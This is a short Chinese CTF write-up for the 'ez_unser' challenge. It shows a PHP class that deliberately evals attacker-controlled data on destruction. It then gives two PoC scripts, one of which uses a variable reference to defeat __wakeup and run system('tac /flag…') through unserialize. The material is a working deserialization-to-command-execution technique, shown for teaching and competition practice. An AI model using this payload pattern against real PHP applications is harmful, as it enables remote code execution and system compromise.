NSS [UUCTF 2022 新生赛]ez_unser
源码如下:
<?php show_source(__FILE__); ###very___so___easy!!!! class test{ public $a; public $b; public $c; public function __construct(){ $this->a=1; $this->b=2; $this->c=3; } public function __wakeup(){ $this->a=''; } public function __destruct(){ $this->b=$this->c; eval($this->a); } } $a=$_GET['a']; if(!preg_match('/test":3/i',$a)){ die("你输入的不正确!!!搞什么!!"); } $bbb=unserialize($_GET['a']);
一看就是要绕过__wakeup(),但是**if(!preg_match(‘/test":3/i’,$a))**要求传入的字符串包含test":3那就不能只简单的改个数字绕过weakup了。
方法一:我想玩个骚的
我使b=c=test":3 不就好了吗,然后使属性值个数大于属性个数(正常做法)
poc:
<?php class test{ public $a; public $b; public $c; public function __construct(){ $this->a="system('ls /');"; $this->b='test":3'; $this->c='test":3'; } } $j17=new test(); echo urlencode(serialize($j17));
但是无果。应该是php版本问题。
方法二:变量引用
不绕过weakup,把c变量改成命令,a引用b。
经过weakup后a变成空,然后b=c,a引用b,b=c(命令)。
poc:
<?php class test{ public $a; public $b; public $c; public function __construct(){ } public function __wakeup(){ $this->a=''; } public function __destruct(){ $this->b=$this->c; eval($this->a); } } $jay17=new test(); $jay17->b=&$jay17->a; $jay17->c="system('tac /fffffffffflagafag');"; echo urlencode(serialize($jay17)); ?>